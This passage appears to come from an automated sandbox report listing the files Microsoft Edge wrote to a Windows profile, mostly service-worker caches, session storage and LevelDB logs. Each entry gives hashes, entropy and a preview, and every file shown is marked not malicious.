Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2.^.m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.195441189793851
Encrypted:	false
SSDEEP:	6:HMRUM1CHhJ23oH+TcwtE/a252KLlVMczq2PCHhJ23oH+TcwtE/a2ZIFUv:seAYeb8xLkczvBYeb8J2FUv
MD5:	D9D01724923E8194C4F887DBF8468370
SHA1:	5355DD3C71E60E98D139CC1299A5397655EBCA0C
SHA-256:	56AE9504D52FAB8BC828411CF8CAE967AA5ED30FE94CD245AABC64F71C768EAF
SHA-512:	2F03234D238AD71D5DA01E94351218E84E050D21CBF5DED5ABDD315B5494C39D3D15E7CB492887EF2F78C08246C442733F258D2A8BCBDE2E7D1885BC369118F6
Malicious:	false
Preview:	2024/11/24-21:39:54.194 16c4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/24-21:39:54.208 16c4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114372
Entropy (8bit):	5.577880769017479
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKPt3dfvYgBZ:d9LyxPXfOxr1lMe1nL/CL/TXEmsvFn
MD5:	B180D0706BC4E3BD5053FD59B136E309
SHA1:	379CABB6FB41E508054C0AEF8709B05B27555E7B
SHA-256:	B52578189386E93FC9EE3A173932EFABD010369D2281C2B4094500F20A969080
SHA-512:	D02F54350855A3D7C445B40729FB5E1D6CA41EA3A0355D6706DF7106ECB7B4201B99382AB01C5E6D6926A6332A8EAF20035798B8695C9E69849DCD90E6CF6A36
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188865
Entropy (8bit):	6.3857048060248705
Encrypted:	false
SSDEEP:	3072:0SDRYZ80gwNlwOw6vn8L/akMDkPZXjT0LSgq4z+YT:y1lwyv8L/jwkdjNY++
MD5:	D65DB286FAE58B551D344D7BCCB2596E
SHA1:	862D00D5103B29208C64D947DDE5CBF1A647DDC1
SHA-256:	979D10B4CD7D999A7E60D537991C63A898C562176CBC87FE899925D68177CC62
SHA-512:	762FC90E6EA06599CBFB22F8B88EDD9B2D0E1E0AEFBD459CD4E799E72B89B8FA8874B5F04932C3F94C2EE86F2AD01318D25AF2704C45452523BD354BDF12A723
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;....x.h........,T.8..`,.....L`.....,T...`......L`......Rc..-.....exports...Rc..c.....module....Rc...f....define....RbU.....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v.....................".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.....b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....zY...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5549278751195694
Encrypted:	false
SSDEEP:	3:9recyyXl/ly/l9/lxEwlta/lBD/:FyKmOQ4J
MD5:	08422D5FAB022BEBBE36CE49580A15D6
SHA1:	F6B2FEC09B25A00B97EC7570024523901BAC1971
SHA-256:	F4FAA2CCF30DE445947070977A20502A4559F49E1B5A920F5742698D7D576BFC
SHA-512:	CA570111BED5A503416ABE829C01880DD5BAC5AC96B5D99AF2AE5FE6F33444A2B19AC2A68E711A2C59CEC6C9C0B2658A074A26208A46478F1CB657BDC025A769
Malicious:	false
Preview:	@....N.eoy retne.........................X....,................>._.I./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5549278751195694
Encrypted:	false
SSDEEP:	3:9recyyXl/ly/l9/lxEwlta/lBD/:FyKmOQ4J
MD5:	08422D5FAB022BEBBE36CE49580A15D6
SHA1:	F6B2FEC09B25A00B97EC7570024523901BAC1971
SHA-256:	F4FAA2CCF30DE445947070977A20502A4559F49E1B5A920F5742698D7D576BFC
SHA-512:	CA570111BED5A503416ABE829C01880DD5BAC5AC96B5D99AF2AE5FE6F33444A2B19AC2A68E711A2C59CEC6C9C0B2658A074A26208A46478F1CB657BDC025A769
Malicious:	false
Preview:	@....N.eoy retne.........................X....,................>._.I./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF32f9c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5549278751195694
Encrypted:	false
SSDEEP:	3:9recyyXl/ly/l9/lxEwlta/lBD/:FyKmOQ4J
MD5:	08422D5FAB022BEBBE36CE49580A15D6
SHA1:	F6B2FEC09B25A00B97EC7570024523901BAC1971
SHA-256:	F4FAA2CCF30DE445947070977A20502A4559F49E1B5A920F5742698D7D576BFC
SHA-512:	CA570111BED5A503416ABE829C01880DD5BAC5AC96B5D99AF2AE5FE6F33444A2B19AC2A68E711A2C59CEC6C9C0B2658A074A26208A46478F1CB657BDC025A769
Malicious:	false
Preview:	@....N.eoy retne.........................X....,................>._.I./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6915
Entropy (8bit):	3.377313918391245
Encrypted:	false
SSDEEP:	192:ysdLslEqem1xjo9Xp+AmVKi7Db5SLl9iSrYjW:DLiH1lo9Xp+Amwu5SLl9iSrc
MD5:	0F0873A6CD714669DAD8647E0D6A16BB
SHA1:	A630FD41DBB549D290FE68927D11093179F80D85
SHA-256:	66ED6116EA60F154FF0205079893B68F567B71F7DC7F203988664C793226F064
SHA-512:	5AF485BD4939C11E32DAA80DF86832838E9D8B97B66F8F8D4A3F69972F1DFF5395C47B1CC4BF42859FB576A42576B7923A73EC98CA689854FB97138FB63EAEB7
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................<.b................next-map-id.1.Cnamespace-ce171df3_6785_44fb_8e43_6070d9b07650-https://ntp.msn.com/.0Y.q..................map-0-shd_sweeper.3{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.c.p.r.g.-.h.p.-.r.d.u.g.2.,.p.r.g.-.h.o.m.e.t.o.-.h.p.m.s.n.,.p.r.g.-.h.p.-.r.d.c.v.,.p.r.g.-.h.p.-.s.w.i.t.c.h.f.e.e.d.,.p.r.g.-.m.s.n.-.i.d.,.p.r.g.-.s.e.a.r.c.h.n.e.w.t.,.p.r.g.-.1.s.-.d.w.v.i.d.-.t.1.,.1.s.-.p.1.-.d.w.l.s.,.1.s.-.p.2.-.d.w.l.s.,.p.r.g.-.1.s.w.-.n.o.c.o.o.l.d.o.w.n.,.p.r.g.-.p.r.1.-.v.i.d.e.o.s.,.p.r.g.-.p.r.2.-.v.i.d.e.o.s.,.p.r.g.-.v.i.d.-.d.w.l.s.c.a.c.h.e.,.p.r.g.-.1.s.w.-.s.a.g.e.i.m.a.n.n.t.1.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.2.,.p.r.g.-.1.s.w.-.s.a.f.f.v.5.c.c.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.184165991618347
Encrypted:	false
SSDEEP:	6:HcsM+q2PCHhJ23oH+TcwtrQMxIFUt8Y3XZmw+YKMVkwOCHhJ23oH+TcwtrQMFLJ:8sM+vBYebCFUt8M/+XMV56YebtJ
MD5:	235DE84957F07223D99D8C39CD50E1C0
SHA1:	079BDC15F480AAE8DCBEF2F6EE4EA948581779E0
SHA-256:	745970C848064D3AD54635C2748F45BB122A0E1ED5D0C181087CBADD40CBBA3C
SHA-512:	E60DA9B4143F597FC7FF51A91F3D4D6A1B0C05EB7AA4AA05FBA394D1792691B8638FBBFAD222E03C3633C4F96BF33B44D774DF3A9249F243C9E18D4B7ED54F6A
Malicious:	false
Preview:	2024/11/24-21:39:38.340 1c8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/24-21:39:38.341 1c8c Recovering log #3.2024/11/24-21:39:38.709 1c8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.184165991618347
Encrypted:	false
SSDEEP:	6:HcsM+q2PCHhJ23oH+TcwtrQMxIFUt8Y3XZmw+YKMVkwOCHhJ23oH+TcwtrQMFLJ:8sM+vBYebCFUt8M/+XMV56YebtJ
MD5:	235DE84957F07223D99D8C39CD50E1C0
SHA1:	079BDC15F480AAE8DCBEF2F6EE4EA948581779E0
SHA-256:	745970C848064D3AD54635C2748F45BB122A0E1ED5D0C181087CBADD40CBBA3C
SHA-512:	E60DA9B4143F597FC7FF51A91F3D4D6A1B0C05EB7AA4AA05FBA394D1792691B8638FBBFAD222E03C3633C4F96BF33B44D774DF3A9249F243C9E18D4B7ED54F6A
Malicious:	false
Preview:	2024/11/24-21:39:38.340 1c8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/24-21:39:38.341 1c8c Recovering log #3.2024/11/24-21:39:38.709 1c8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376975980277691

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.791336889572498
Encrypted:	false
SSDEEP:	24:3HxBKjMnpsAF4unx5tatLp3X2amEtG1ChqoNIe1AQKkOAM4:3RBKWzF0Lp2FEkChbNp1RHOp
MD5:	D6100AFFAD39F86E3313D54D583BE137
SHA1:	FA08D382D0F9F63993F2BC28CCE316CE0A82BCA4
SHA-256:	1FA6F39E6996B6DABCAF02CB2076CB5B1ED50DB7AAA5D150598B1FB0F4B18F3C
SHA-512:	8748806D8145D618BE1D57CF2E74C3DF6FB7797A51805437797B01C2AB26B84822F792E40D9B686AE3B702AB054E65DCC4468B27B01C5C5958308A9AC6F227E9
Malicious:	false
Preview:	SNSS.......re:............re:......."re:............re:........re:........se:........se:.....!..se:................................re:.se:.1..,...se:.$...ce171df3_6785_44fb_8e43_6070d9b07650...re:........se:.......:........re:....re:........................re:.....................5..0...re:.&...{890D5FC3-0C4C-4214-A93A-B8E730A022A1}.....re:........re:...........................se:............se:.........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......+]...'..,]...'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.193998574730433
Encrypted:	false
SSDEEP:	6:HXQVq2PCHhJ23oH+Tcwt7Uh2ghZIFUt8YXQgZmw+YXQIkwOCHhJ23oH+Tcwt7Uh9:3ovBYebIhHh2FUt8+5/++T56YebIhHLJ
MD5:	FCDCC4940BFAA58BA2CE702E191C64B9
SHA1:	884F1E5F54B557117A784F58DD7F479E4CF3F9A4
SHA-256:	BA3B5843585CB8B8C8F3986D86C2F27043733C0F98EE9819131A7D5457D2A521
SHA-512:	DB6887D3B3BE2051E442E5DB05A21AB4FC981A38C91C3A5703FE832D224EC430FF3E2162CEFBE2017B15397EEA7EE50CF16A2A84CC4180F08DAC5373AD749686
Malicious:	false
Preview:	2024/11/24-21:39:37.819 1d50 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/24-21:39:37.819 1d50 Recovering log #3.2024/11/24-21:39:37.819 1d50 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.193998574730433
Encrypted:	false
SSDEEP:	6:HXQVq2PCHhJ23oH+Tcwt7Uh2ghZIFUt8YXQgZmw+YXQIkwOCHhJ23oH+Tcwt7Uh9:3ovBYebIhHh2FUt8+5/++T56YebIhHLJ
MD5:	FCDCC4940BFAA58BA2CE702E191C64B9
SHA1:	884F1E5F54B557117A784F58DD7F479E4CF3F9A4
SHA-256:	BA3B5843585CB8B8C8F3986D86C2F27043733C0F98EE9819131A7D5457D2A521
SHA-512:	DB6887D3B3BE2051E442E5DB05A21AB4FC981A38C91C3A5703FE832D224EC430FF3E2162CEFBE2017B15397EEA7EE50CF16A2A84CC4180F08DAC5373AD749686
Malicious:	false
Preview:	2024/11/24-21:39:37.819 1d50 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/24-21:39:37.819 1d50 Recovering log #3.2024/11/24-21:39:37.819 1d50 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.259576197668383
Encrypted:	false
SSDEEP:	6:HOpQ+q2PCHhJ23oH+TcwtzjqEKj3K/2jMGIFUt8YagZmw+Y5WDQVkwOCHhJ23oH9:p+vBYebvqBQFUt8g/+KBV56YebvqBvJ
MD5:	581290DA7E49B925DBF788E412783FB3
SHA1:	2A34F8218BB6B4A724748F0E681943DA4AF7D9DA
SHA-256:	84A7C1D6A5A60BAC80050C465B99D9DE68C709492D588CDB9364954C0FF8B2C8
SHA-512:	610E7AAF2BFAD2A1861EA6060E1D684E92FBC37BA21E89A269837440A5709606980E8E52E94954A5EBF4CAF55E4A30BA13458A05D7D49E7D9328D2B37765642A
Malicious:	false
Preview:	2024/11/24-21:39:38.866 1cdc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/24-21:39:38.868 1cdc Recovering log #3.2024/11/24-21:39:38.873 1cdc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.259576197668383
Encrypted:	false
SSDEEP:	6:HOpQ+q2PCHhJ23oH+TcwtzjqEKj3K/2jMGIFUt8YagZmw+Y5WDQVkwOCHhJ23oH9:p+vBYebvqBQFUt8g/+KBV56YebvqBvJ
MD5:	581290DA7E49B925DBF788E412783FB3
SHA1:	2A34F8218BB6B4A724748F0E681943DA4AF7D9DA
SHA-256:	84A7C1D6A5A60BAC80050C465B99D9DE68C709492D588CDB9364954C0FF8B2C8
SHA-512:	610E7AAF2BFAD2A1861EA6060E1D684E92FBC37BA21E89A269837440A5709606980E8E52E94954A5EBF4CAF55E4A30BA13458A05D7D49E7D9328D2B37765642A
Malicious:	false
Preview:	2024/11/24-21:39:38.866 1cdc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/24-21:39:38.868 1cdc Recovering log #3.2024/11/24-21:39:38.873 1cdc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\2042554e-c7a8-44bb-801e-58078085d564.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF2c828.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
